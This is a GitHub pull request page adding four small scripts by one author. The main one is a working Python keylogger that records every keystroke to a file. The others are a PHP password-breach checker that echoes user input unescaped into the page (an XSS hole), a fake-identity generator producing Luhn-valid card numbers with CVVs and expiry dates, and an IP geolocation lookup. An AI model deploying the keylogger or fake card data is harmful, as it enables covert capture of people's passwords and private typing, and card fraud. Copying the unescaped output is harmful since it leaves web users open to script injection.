Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Python keylogger #39

Open
wants to merge 7 commits into
base: main
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
30 changes: 30 additions & 0 deletions KeyLogger.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,30 @@
"""
Name : Simple Python Keylogger
Authon : Devesh Singh
Description : This is a simple Keylogger script written in python which saves log in a file named keylog.txt .
Keylogger is a software or say program which captures the key strokes which we press on keyboard and saves it on a file.
"""

from pynput.keyboard import Key
from pynput.keyboard import Listener

the_keys = []

def functionPerKey(key):
the_keys.append(key)
storeKeysToFile(the_keys)

def storeKeysToFile(keys):
with open('keylog.txt', 'w') as log:
for key in keys:
key = str(key).replace("'", "")
log.write(key)
def onEachKeyRelease(key):
if key == Key.esc:
return False

with Listener(
on_press = functionPerKey,
on_release = onEachKeyRelease
) as the_listener:
the_listener.join()
42 changes: 42 additions & 0 deletions PasswordLeackChecker.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,42 @@
<!--
Name : Password Breach Checker
Authon : Devesh Singh
Description : This Script Check for Password Breaches.
If the entered Password Matched in any Leaked Password Database , then it warns about it.
-->

<html>
<head>
<title>Password Breach Checker | Devesh Singh </title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">

<?php function password_check($password_check_input){$sha1_password=strtoupper(sha1($password_check_input));$sha1_password_short=substr($sha1_password,0,5);$curl=curl_init();curl_setopt_array($curl,array(CURLOPT_URL=>"https://api.pwnedpasswords.com/range/$sha1_password_short",CURLOPT_RETURNTRANSFER=>true,CURLOPT_ENCODING=>"",CURLOPT_MAXREDIRS=>10,CURLOPT_TIMEOUT=>30,CURLOPT_HTTP_VERSION=>CURL_HTTP_VERSION_1_1,CURLOPT_CUSTOMREQUEST=>"GET",CURLOPT_HTTPHEADER=>array("content-type: text/plain"),));$response=curl_exec($curl);$err=curl_error($curl);$lines=explode(PHP_EOL,$response);$hitcounter=0;foreach($lines as $line=>$row){$row=$sha1_password_short.$row;$row=explode(':',$row);$row=$row[0];if($row==$sha1_password){$hitcounter++;}}curl_close($curl);if($err){echo "Unable to connect to database !";}else{if($hitcounter>0){echo "<div class='result red'><i>".$_POST['password']."</i> &nbsp is <b>breached</b> ! </div>";}else{echo "<div class='result'><i>".$_POST['password']."</i> &nbsp is <b>Not Leaked</b></b></div>";}}} ?>

</head>
<body>
<style>
.header,.result{margin-top:30px;text-align:center}.header,.passbox,.result{text-align:center}*{font-size:larger;font-family:'Courier New',Courier,monospace}body{background:#13aba5;background:linear-gradient(90deg,#13aba5 12%,#2377b6 50%,#13aba5 100%)}.passbox{right:30%;width:max-content;height:auto;margin:auto;top:100px;padding:30px;border:1px solid #008cff;border-radius:5px;background-color:#ddecf3}.passbox input[type=text]{margin:7px;border-radius:4px;border-color:#fff;border-style:solid;padding-left:5px}.passbox input[type=submit]{border:5px beige;padding:5px 10px;border-radius:5px;background:#008cff;color:#fff;font-weight:700;margin-top:15px}.passbox input[type=text]:focus,.result{border:2px solid #008cff}.passbox input:hover{border-color:#008cff}.header{font-weight:bolder;font-size:xxx-large;color:#fff}.footer{position:fixed;margin-left:40%;bottom:0;color:#fff;font-size:medium}.result{width:fit-content;color:#000;padding:10px;background-color:#83ffbf;border-radius:5px;margin-left:30%}.result.red{background-color:#ff8686;border-color:red;color:#fff}
</style>

<p class="header">Password Breach Checker</p>

<div class="passbox">
<form method="post" action="#">
<b> Enter Password</b>
<br><input type="text" name ="password" placeholder="password" title="Enter your password to check" required><br>
<input type="submit" value="Check">
</form>
</div>

<?php
if (!isset($_POST['password'])) {
} else{
echo password_check($_POST['password']) ;
}
?>

<p class="footer">
&copy 2022 Made with ❀️ by Devesh Singh.
</p>
</body>
</html>
88 changes: 88 additions & 0 deletions fakedetailGenerator.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,88 @@
"""
Name : Fake Detail Generator
Authon : Devesh Singh
Description : This Script generates fake details which is used for various purpose.
Generated details are Name, Email, Phone, Age, Address, Credit Number, etc.
"""

import random,os
try:
import getindianname as name
from indian_cities.dj_city import cities as city
except:
print("\n Installing dependency... Please wait...\n\n")
os.system("pip install getindianname")
os.system("pip install indian-cities")
os.system("cls||clear")

def make_random_number(number_of_element):
random_numbers = []
for i in range(number_of_element):
random_numbers.append(random.randint(0, 9))
return random_numbers

def creditcard():
ccno = ''
random_master_int = make_random_number(13)
random_master_int.insert(0,5)
random_master_int.insert(1,4)
sum_even = []
sum_odd = []
for index,element in enumerate(random_master_int):
if index % 2 != 0:
r = random_master_int[index] * 2
character_string = list(str(r))
character_int = map(int, character_string)
sum_even.append(sum(character_int))
if index % 2 == 0:
sum_odd.append(element)
total_sum = sum(sum_even)+sum(sum_odd) * 9
random_master_int.append(total_sum % 10)
ccno = ''.join(map(str, random_master_int))
return ccno

def generate(gender):
if gender.lower() == "male":
mname = name.male()
elif gender.lower() == "female":
mname = name.female()
elif gender.lower() == "random":
genk = ["male","female"]
gender = random.choice(genk)
if gender.lower() == "male":
mname = name.male()
else :
mname = name.female()
else:
print("Please Enter valid Gender")
exit()

age = random.randint(17,60)
cityk = random.randint(0,33)
address = city[cityk][1][random.randint(0,len(city[cityk][1])-1)][0]+", "+city[cityk][0]
domains = ["@gmail.com", "@outlook.com", "@hotmail.com", "@yahoo.com", "@aol.com", "@rediffmail.com", "@mail.com", "@yandex.com"]
email = (mname.replace(" ","")).lower()+str(random.randint(10,1000))+random.choice(domains)
phone = str(random.randint(6,9))+str(random.randint(100101010,999999999))
username = (mname[:mname.index(" ")]+str(random.randint(1,10000))).lower()
passwords = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890@#&"
password = "".join(random.choice(passwords) for i in range(10))
cvv = random.randint(101,999)
expiry = str(random.randint(1,12))+"/"+str(random.randint(2023,2030))
print("Name %15s" % ": "+mname)
print("Age %16s" % ": "+str(age))
print("Gender %13s" % ": "+gender.capitalize())
print("Email %14s" % ": "+email)
print("Phone %14s" % ": "+str(phone))
print("Address %12s" % ": "+address)
print("Username %11s" % ": "+username)
print("Password %11s" % ": "+password)
print("Credit Number %6s" % ": "+str(creditcard()))
print("CVV %16s" % ": "+str(cvv))
print("Expiry %13s" % ": "+expiry)
print("\n")

if __name__ == "__main__":
count = int(input("Enter number of data required : "))
gender = input("Enter gender [male/female/random] : ")
for i in range(count):
generate(gender)
36 changes: 36 additions & 0 deletions ipLocator.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,36 @@
"""
Name : IP2Location
Authon : Devesh Singh
Description : This Script grabs the information about the given IP Address using API.
Extracted details includes the City, Country, Latitude, Longitude, and if the IP is proxy or not and many things.
"""

import json
import requests as r

def ipinfo(ip):
url = "http://ip-api.com/json/"+ip+"?fields=10184703"
ipdataraw = r.get(url).text
ipdata = json.loads(ipdataraw)
if ipdata["status"] == "success":
print("You Searched for : "+ipdata["query"]+"\n\n")
print("City %16s" % ": "+ipdata["city"])
print("State %15s" % ": "+ipdata["regionName"])
print("Country %13s" % ": "+ipdata["country"])
print("Zip Code %12s" % ": "+ipdata["zip"])
print("Continent %11s" % ": "+ipdata["continent"])
print("Latitude %12s" % ": "+str(ipdata["lat"]))
print("Longitude %11s" % ": "+str(ipdata["lon"]))
lurl = "https://www.google.com/maps/place/"+str(ipdata["lat"])+","+str(ipdata["lon"])
print("Location URL %8s" % ": "+lurl)
print("Timezone %12s" % ": "+ipdata["timezone"])
print("Currency %12s" % ": "+ipdata["currency"])
print("Internet Provider %3s" % ": "+ipdata["isp"])
print("Is mobile ? %9s" % ": "+str(ipdata["mobile"]))
print("Is Proxy ? %10s" % ": "+str(ipdata["proxy"]))
else:
print("Something Went Wrong..!!\n Please Internet Connection")

if __name__ == "__main__":
ip = input("Enter IP Address to search : ")
ipinfo(ip) # example : ipinfo("203.145.142.86")